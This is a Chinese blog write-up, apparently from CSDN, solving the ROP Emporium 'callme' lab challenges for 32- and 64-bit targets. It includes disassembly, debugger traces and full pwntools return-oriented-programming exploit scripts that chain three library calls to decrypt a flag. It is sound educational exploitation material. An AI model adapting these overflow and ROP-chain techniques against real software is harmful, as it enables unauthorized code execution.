ROP_Emporium_callme

该博客详细介绍了如何利用返回导向编程(ROP)技术来解决两个不同的程序挑战。一个是32位程序callme32,通过分析其动态链接库和内存布局,发现需要通过精心构造的payload依次调用特定函数来解密flag。另一个是64位程序callme,需要调整溢出点偏移,并改变参数传递方式以平衡堆栈。在64位程序中,使用了poprdi;poprsi;poprdx;ret的gadget来设置参数并调用函数。最终,通过调试和反汇编,博主成功构造了payload并解密了flag。

1. callme32

信息收集

这个题提供了以下文件:

  • callme32可执行程序
  • libcallme32.so动态库
  • key1.dat,key2.dat
  • encrypted_flag.dat

不知道callme32格式那里不对,checksec会报错NameError: name 'dt_rpath' is not defined。一会黑盒测试如果崩溃了就说明有canary,而pie可以从入口点判断:

后来调试了一下,checksec问题出在pwnlib/elf/elf.py,变量改成dt_runpath就行了。Github上这个bug已经纠正。

$ readelf -h callme32
ELF Header:
  ...
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048570

入口点是这种虚拟地址,应该就没有开启PIE。

盲猜callme32会调用libcallme32.so加载两个key来解密flag:

$ ldd callme32
        linux-gate.so.1 (0xf7f17000)
        libcallme32.so => ./libcallme32.so (0xf7f0f000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d1c000)
        /lib/ld-linux.so.2 (0xf7f18000)
$ strings -t x libcallme32.so | grep key
    a87 key1.dat
    a90 Failed to open key1.dat
    ac6 key2.dat
    acf Failed to open key2.dat

黑盒测试

$ ./callme32 < cyclic.txt
callme by ROP Emporium
x86

Hope you read the instructions...

> Thank you!
Segmentation fault (core dumped)
$ gdb callme32 ./callme32.core.7950
...
Core was generated by `./callme32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x6161616c in ?? ()
> cyclic -l 0x6161616c
44

返回地址位于缓冲区偏移44字节处。

反汇编

$ objdump -d -M intel callme32
080484e0 <callme_three@plt>:
080484f0 <callme_one@plt>:
08048550 <callme_two@plt>:

08048686 <main>:
 8048686:       8d 4c 24 04             lea    ecx,[esp+0x4]
 804868a:       83 e4 f0                and    esp,0xfffffff0
 ...
 80486cb:       e8 1d 00 00 00          call   80486ed <pwnme>
 80486d0:       83 ec 0c                sub    esp,0xc
 ...
 80486e8:       c9                      leave
 80486e9:       8d 61 fc                lea    esp,[ecx-0x4]
 80486ec:       c3                      ret
 
080486ed <pwnme>:
 80486ed:       55                      push   ebp
 80486ee:       89 e5                   mov    ebp,esp
 80486f0:       83 ec 28                sub    esp,0x28
 80486f3:       83 ec 04                sub    esp,0x4
 80486f6:       6a 20                   push   0x20
 80486f8:       6a 00                   push   0x0
 80486fa:       8d 45 d8                lea    eax,[ebp-0x28]
 80486fd:       50                      push   eax
 80486fe:       e8 3d fe ff ff          call   8048540 <memset@plt>
 ...
 804872e:       8d 45 d8                lea    eax,[ebp-0x28]
 8048731:       50                      push   eax
 8048732:       6a 00                   push   0x0
 8048734:       e8 87 fd ff ff          call   80484c0 <read@plt>
 ...
 804874d:       c9                      leave
 804874e:       c3                      ret

0804874f <usefulFunction>:
 804874f:       55                      push   ebp
 8048750:       89 e5                   mov    ebp,esp
 8048752:       83 ec 08                sub    esp,0x8
 8048755:       83 ec 04                sub    esp,0x4
 8048758:       6a 06                   push   0x6
 804875a:       6a 05                   push   0x5
 804875c:       6a 04                   push   0x4
 804875e:       e8 7d fd ff ff          call   80484e0 <callme_three@plt>
 8048763:       83 c4 10                add    esp,0x10
 8048766:       83 ec 04                sub    esp,0x4
 8048769:       6a 06                   push   0x6
 804876b:       6a 05                   push   0x5
 804876d:       6a 04                   push   0x4
 804876f:       e8 dc fd ff ff          call   8048550 <callme_two@plt>
 8048774:       83 c4 10                add    esp,0x10
 8048777:       83 ec 04                sub    esp,0x4
 804877a:       6a 06                   push   0x6
 804877c:       6a 05                   push   0x5
 804877e:       6a 04                   push   0x4
 8048780:       e8 6b fd ff ff          call   80484f0 <callme_one@plt>
 8048785:       83 c4 10                add    esp,0x10
 8048788:       83 ec 0c                sub    esp,0xc
 804878b:       6a 01                   push   0x1
 804878d:       e8 7e fd ff ff          call   8048510 <exit@plt>

callme32逻辑:main调用pwnme,而pwnme有缓冲区溢出,可以将返回地址覆盖为usefulFunction解密flag。

libcallme32.so用IDA看下:

int __cdecl callme_one(int a1, int a2, int a3)
{
  FILE *stream; // [esp+Ch] [ebp-Ch]

  if ( a1 != 0xDEADBEEF || a2 != 0xCAFEBABE || a3 != 0xD00DF00D )
  {
    puts("Incorrect parameters");
    exit(1);
  }
  // ...
  g_buf = (int)malloc(0x21u);
  // ...
  g_buf = (int)fgets((char *)g_buf, 33, stream);
  fclose(stream);
  return puts("callme_one() called correctly");
}

int __cdecl callme_two(int a1, int a2, int a3)
{
  int i; // [esp+8h] [ebp-10h]
  FILE *stream; // [esp+Ch] [ebp-Ch]

  if ( a1 != 0xDEADBEEF || a2 != 0xCAFEBABE || a3 != 0xD00DF00D )
  {
    puts("Incorrect parameters");
    exit(1);
  }
  stream = fopen("key1.dat", "r");
  // ...
  for ( i = 0; i <= 15; ++i )
    *(_BYTE *)(g_buf + i) ^= fgetc(stream);
  return puts("callme_two() called correctly");
}

void __cdecl __noreturn callme_three(int a1, int a2, int a3)
{
  int i; // [esp+8h] [ebp-10h]
  FILE *stream; // [esp+Ch] [ebp-Ch]

  if ( a1 == 0xDEADBEEF && a2 == 0xCAFEBABE && a3 == 0xD00DF00D )
  {
    stream = fopen("key2.dat", "r");
    if ( !stream )
    {
      puts("Failed to open key2.dat");
      exit(1);
    }
    for ( i = 16; i <= 31; ++i )
      *(_BYTE *)(g_buf + i) ^= fgetc(stream);
    *(_DWORD *)(g_buf + 4) ^= 0xDEADBEEF;
    *(_DWORD *)(g_buf + 8) ^= 0xDEADBEEF;
    *(_DWORD *)(g_buf + 12) ^= 0xCAFEBABE;
    *(_DWORD *)(g_buf + 16) ^= 0xCAFEBABE;
    *(_DWORD *)(g_buf + 20) ^= 0xD00DF00D;
    *(_DWORD *)(g_buf + 24) ^= 0xD00DF00D;
    puts((const char *)g_buf);
    exit(0);
  }
  puts("Incorrect parameters");
  exit(1);
}

so逻辑:

  1. callme_one读取加密的flag;
  2. callme_two解密前15字节;
  3. callme_three解密16-31字节;

看下加密的flag文件,确实是32字节:

$ xxd encrypted_flag.dat
00000000: 534d 5341 91d9 f5a6 8ad5 c5b7 dbdb 9dbe  SMSA............
00000010: cada b2ed 2a84 63bc 71b5 70a0 7c79 3e5d  ....*.c.q.p.|y>]

那么,就不能简单地将pwnme返回地址覆盖为usefulFunction了,因为usefulFunction的调用顺序以及参数(4,5,6)并不能成功解密flag。正确解法是通过3次返回来依次调用callme_one/two/three(0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)

调试分析

先用下面的payload将pwnme返回地址覆盖为callme_one@plt调试一下:

pCallmeOne = 0x080484f0;
pArg0 = 0xDEADBEEF;
pArg1 = 0xCAFEBABE;
pArg2 = 0xD00DF00D;

payload = bytes("A" * 44, encoding = "ascii")
payload += p32(pCallmeOne)
payload += p32(pArg0)
payload += p32(pArg1)
payload += p32(pArg2)

成功进入了callme32_one,但是堆栈没有平衡:

 ► 0xf7f8364f <callme_one+18>     cmp    dword ptr [ebp + 8], 0xdeadbeef
pwndbg> x /20x $ebp
0xffb23e3c:	0x41414141	0xdeadbeef	0xcafebabe	0xd00df00d

草率了,漏了个callme_two作为返回地址,加上试试:

payload = bytes("A" * 44, encoding = "ascii")
payload += p32(pCallmeOne)  # return to callme_one
payload += p32(pCallmeTwo)
payload += p32(pArg0)
payload += p32(pArg1)
payload += p32(pArg2)

成功进入callme_two,但参数还没变:

► 0xf7f51768 <callme_two+19>     cmp    dword ptr [ebp + 8], 0xdeadbeef
   0xf7f5176f <callme_two+26>     jne    callme_two+220                    <callme_two+220>
    ↓
   0xf7f51831 <callme_two+220>    sub    esp, 0xc
   0xf7f51834 <callme_two+223>    lea    eax, [ebx - 0x158e]
   0xf7f5183a <callme_two+229>    push   eax
   0xf7f5183b <callme_two+230>    call   puts@plt                    <puts@plt>
────────────[ STACK ]───────────────
00:0000│ esp 0xffa89fd8 ◂— 0x41414141 ('AAAA')
01:0004│     0xffa89fdc —▸ 0xf7f6ede0 (_dl_runtime_resolve+16) ◂— pop    edx
02:0008│     0xffa89fe0 —▸ 0xf7f37890 (_IO_stdfile_1_lock) ◂— 0x0
03:000c│     0xffa89fe4 —▸ 0xf7f51755 (callme_two) ◂— push   ebp
04:0010│     0xffa89fe8 ◂— 0x0
05:0014│     0xffa89fec —▸ 0xf7f36000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
06:0018│ ebp 0xffa89ff0 ◂— 0x41414141 ('AAAA')
07:001c│     0xffa89ff4 ◂— 0xdeadbeef

解决方法:第二个返回地址,不能是callme_two,应该是一段gadget,如add esp, 0xc; ret, 消去callme_one的3个参数,然后才是callme_two,重新跟3个参数。

搜搜:

pwndbg> rop --grep "add esp"
...
0x080484aa : add esp, 8 ; pop ebx ; ret

GET!

Exp

from pwn import *

context.arch = "i386"
context.bits = 32
context.os = "linux"

def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;

io = getio("./callme32")


pCallmeOne = 0x080484f0;
pCallmeTwo = 0x08048550;
pCallmeThree = 0x080484e0;
pArg0 = 0xDEADBEEF;
pArg1 = 0xCAFEBABE;
pArg2 = 0xD00DF00D;
pGadget = 0x080484aa    # add esp, 8 ; pop ebx ; ret

payload = bytes("A" * 44, encoding = "ascii")
payload += p32(pCallmeOne)  # return to callme_one
payload += p32(pGadget)
payload += p32(pArg0)
payload += p32(pArg1)
payload += p32(pArg2)

payload += p32(pCallmeTwo)
payload += p32(pGadget)
payload += p32(pArg0)
payload += p32(pArg1)
payload += p32(pArg2)

payload += p32(pCallmeThree)
payload += p32(pGadget)
payload += p32(pArg0)
payload += p32(pArg1)
payload += p32(pArg2)

io.recvuntil(">")

# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()

# callme_one() called correctly
# callme_two() called correctly
# ROPE{a_placeholder_32byte_flag!}

2. callme

确认一下溢出点偏移,以及三个导出函数的plt地址:

$ objdump -d -M intel callme | grep callme
callme:     file format elf64-x86-64
00000000004006f0 <callme_three@plt>:
  4006f0:       ff 25 32 09 20 00       jmp    QWORD PTR [rip+0x200932]        # 601028 <callme_three>
0000000000400720 <callme_one@plt>:
  400720:       ff 25 1a 09 20 00       jmp    QWORD PTR [rip+0x20091a]        # 601040 <callme_one>
0000000000400740 <callme_two@plt>:
  400740:       ff 25 0a 09 20 00       jmp    QWORD PTR [rip+0x20090a]        # 601050 <callme_two>
...
$ objdump -d -M intel callme | grep -A 20 pwnme
0000000000400898 <pwnme>:
  400898:       55                      push   rbp
  400899:       48 89 e5                mov    rbp,rsp
  40089c:       48 83 ec 20             sub    rsp,0x20
  4008a0:       48 8d 45 e0             lea    rax,[rbp-0x20]
  4008a4:       ba 20 00 00 00          mov    edx,0x20
  4008a9:       be 00 00 00 00          mov    esi,0x0
  4008ae:       48 89 c7                mov    rdi,rax
  4008b1:       e8 4a fe ff ff          call   400700 <memset@plt>
  ...
  4008cf:       48 8d 45 e0             lea    rax,[rbp-0x20]
  4008d3:       ba 00 02 00 00          mov    edx,0x200
  4008d8:       48 89 c6                mov    rsi,rax
  4008db:       bf 00 00 00 00          mov    edi,0x0
  4008e0:       e8 2b fe ff ff          call   400710 <read@plt>

溢出点偏移(rdp+0x8) - (rbp-0x20) == 0x28

so函数的参数也变了:

.text:000000000000082E                 mov     rax, 0DEADBEEFDEADBEEFh
.text:0000000000000838                 cmp     [rbp+var_18], rax
.text:000000000000083C                 jnz     loc_912
.text:0000000000000842                 mov     rax, 0CAFEBABECAFEBABEh
.text:000000000000084C                 cmp     [rbp+var_20], rax
.text:0000000000000850                 jnz     loc_912
.text:0000000000000856                 mov     rax, 0D00DF00DD00DF00Dh

64位程序传参使用rdi, rsi, rdx, rcx, r8, r9,所以需要把平衡堆栈的gadget换一下:

pwndbg> rop --grep "pop rdi ; pop rsi ; pop rdx ; ret"
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret

吐槽一下这个正则匹配没有忽略分号前后的空格。

最后,payload的构造也要变一下,先执行gadget把参数pop给寄存器,再执行callme_one/two/three:

from pwn import *

context.arch = "i386"
context.bits = 32
context.os = "linux"

def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;

io = getio("./callme")

nBufOverflowOffset = 0x28
pCallmeOne = 0x0000000000400720;
pCallmeTwo = 0x0000000000400740;
pCallmeThree = 0x00000000004006f0;
pArg0 = 0x0DEADBEEFDEADBEEF;
pArg1 = 0x0CAFEBABECAFEBABE;
pArg2 = 0x0D00DF00DD00DF00D;
pGadget = 0x000000000040093c    # pop rdi ; pop rsi ; pop rdx ; ret

payload = bytes("A" * nBufOverflowOffset, encoding = "ascii")
payload += p64(pGadget)     
payload += p64(pArg0)
payload += p64(pArg1)
payload += p64(pArg2)
payload += p64(pCallmeOne)  # return to callme_one

payload += p64(pGadget)
payload += p64(pArg0)
payload += p64(pArg1)
payload += p64(pArg2)
payload += p64(pCallmeTwo)

payload += p64(pGadget)
payload += p64(pArg0)
payload += p64(pArg1)
payload += p64(pArg2)
payload += p64(pCallmeThree)

io.recvuntil(">")

# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()

# callme_one() called correctly
# callme_two() called correctly
# ROPE{a_placeholder_32byte_flag!}

如果晕了,可以对比下32位和64位的usefulFunction。

参考文章

3.1.4 返回导向编程(ROP)(x86) - CTF-All-In-One (gitbook.io)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值